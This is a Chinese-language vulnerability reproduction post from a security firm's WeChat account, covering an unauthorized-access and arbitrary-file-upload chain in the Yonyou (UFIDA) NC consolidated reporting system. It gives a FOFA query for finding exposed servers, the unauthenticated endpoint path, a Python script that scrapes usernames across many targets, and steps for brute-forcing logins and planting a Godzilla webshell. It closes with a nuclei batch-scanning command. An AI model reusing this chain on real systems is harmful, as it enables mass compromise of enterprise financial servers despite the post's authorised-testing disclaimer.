0x01 阅读须知
融云安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！
0x02 漏洞描述
集团企业的合并报表过程已经⾮简单的基于合并⼯作底稿和合并相关准则的合并报表编报会计业务，这个过程或者活动已经升级为管理活动，具有计划性、协调性。用友集团合并报表系统 service接口存在未授权访问+任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限。
0x03 漏洞复现
fofa：app="用友-UFIDA-NC"
1.使用POC进行未授权访问探测，得到用户名
/service/~iufo/com.ufida.web.action.ActionServlet?TableSelectedID&TreeSelectedID&action=nc.ui.iufo.release.InfoReleaseAction&method=createBBSRelease
2.编写小脚本，爬取出这些用户名
1.脚本，本地需要创建urls.txt放入url全路径，再创建result.txt进行结果输出：import reimport requestswith open('urls.txt', 'r') as f:urls = f.readlines()with open('result.txt', 'w') as f:for url in urls:url = url.strip()try:response = requests.get(url)if response.status_code == 200:pattern = r"'>((.*?))"matches = re.findall(pattern, response.text)for match in matches:f.write(match + 'n')except requests.exceptions.RequestException as e:print(f'Error: {e}')
3.burpsuite进行交叉爆破，得到账号和密码（登录界面存在验证码复用问题）
4.进行登录，会弹出一个新窗口，选择不关闭旧窗口，并在登录状态下的旧窗口进行哥斯拉木马发布，发布给已登录上的账号（需要用ie7/8低版本，最好虚拟机win7进行访问，新窗口做了限制，无法进行url修改）
/service/~iufo/com.ufida.web.action.ActionServlet?TableSelectedID&TreeSelectedID&action=nc.ui.iufo.release.InfoReleaseAction&method=createBBSRelease
5.发布完成后，在新窗口该账户点击我接收到的消息，进行木马查看
6.复制木马路径并进行哥斯拉的连接，显示连接成功（可未授权访问该木马）
我的为：http://x.x.x.x/iufotempfile/6g2pcjszy5uaukerd6gv3qbuo61wrb/system_xxxxx.jsp
7.nuclei批量验证脚本已发表于知识星球
nuclei.exe -t yongyouNC-service-unauthorized-access.yaml -l subs.txt -stats
0x04 公司简介
江西渝融云安全科技有限公司，2017年发展至今，已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司，是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证，拥有软件著作权十八项；荣获2020年全国工控安全深度行安全攻防对抗赛三等奖；庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......
编制：sm
审核：fjh
审核：Dog
1个
1朵
5毛钱
天天搬砖的小M
能不能吃顿好的
就看你们的啦
原文始发于微信公众号（融云攻防实验室）：漏洞复现 用友集团合并报表系统未授权访问+任意文件上传利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论